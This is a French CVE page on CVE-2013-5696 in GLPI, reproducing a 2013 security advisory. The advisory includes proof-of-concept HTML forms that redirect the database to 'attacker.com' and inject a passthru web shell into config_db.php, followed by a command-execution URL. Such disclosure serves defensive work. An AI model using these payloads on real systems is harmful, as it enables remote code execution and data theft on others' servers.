Descriptions du CVE

inc/central.class.php in GLPI before 0.84.2 does not attempt to make install/install.php unavailable after an installation is completed, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks, and (1) perform a SQL injection via an Etape_4 action or (2) execute arbitrary PHP code via an update_1 action.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Advisory ID: HTB23173 Product: GLPI Vendor: INDEPNET Vulnerable Version(s): 0.84.1 and probably prior Tested Version: 0.84.1 Advisory Publication: September 11, 2013 [without technical details] Vendor Notification: September 11, 2013 Vendor Patch: September 12, 2013 Public Disclosure: October 2, 2013 Vulnerability Type: Improper Access Control [CWE-284],Code Injection [CWE-94] CVE Reference: CVE-2013-5696 Risk Level: Critical CVSSv2 Base Scores: 6.4 (AV:N/AC:L/Au:N/C:N/I:P/A:P), 10 (AV:N/AC:L/Au:N/C:C/I:C/A:C) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ------------------------------------------------------------------------ ----------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in GLPI, which can be exploited to bypass security restrictions and execute arbitrary PHP code with privileges of web server. 1) Improper Access Control in GLPI The vulnerability exists due to insufficient access restrictions to the installation script "/install/install.php", which is present by default after application installation. A remote attacker can change applicationâ??s configuration, such as database host, forcing the application to connect to an external database and spoof information on the website, obtain access to sensitive information or simply cause a denial of service. Simple exploit below changes the database hostname to "attacker.com", which forces the application to connect to a malicious database controlled by the attacker: <form action="http://[host]/install/install.php" method="post" name="main"> <input type="hidden" name="install" value="update_1"> <input type="hidden" name="db_host" value="attacker.com"> <input type="submit" id="btn"> </form> 2) Arbitrary PHP Code Injection in GLPI The vulnerability exists due to insufficient validation of user-supplied input passed to the "db_host", "db_user", "db_pass", and "databasename" HTTP POST parameters via "/install/install.php" script [that is present by default after application installation] before writing data into "/config_db.php" file. A remote attacker can inject and execute arbitrary PHP code on the vulnerable system. Simple exploit below injects "passthru($_GET['cmd'])" PHP code into "config_db.php" file allowing a remote attacker to execute arbitrary system command with privileges of the web server: <form action="http://[host]/install/install.php" method="post" name="main"> <input type="hidden" name="install" value="update_1"> <input type="hidden" name="db_host" value="'; } passthru($_GET['cmd']); /*"> <input type="submit" id="btn"> </form> After that attacker can access the web shell to execute system commands via the following URL: http://[host]/index.php?cmd=ls -la; id; pwd; ------------------------------------------------------------------------ ----------------------- Solution: Update to GLPI 0.84.2 More Information: http://www.glpi-project.org/spip.php?page=annonce&id_breve=307&lang=fr https://forge.indepnet.net/issues/4480 ------------------------------------------------------------------------ ----------------------- References: [1] High-Tech Bridge Advisory HTB23173 - https://www.htbridge.com/advisory/HTB23173 - Multiple Vulnerabilities in GLPI.
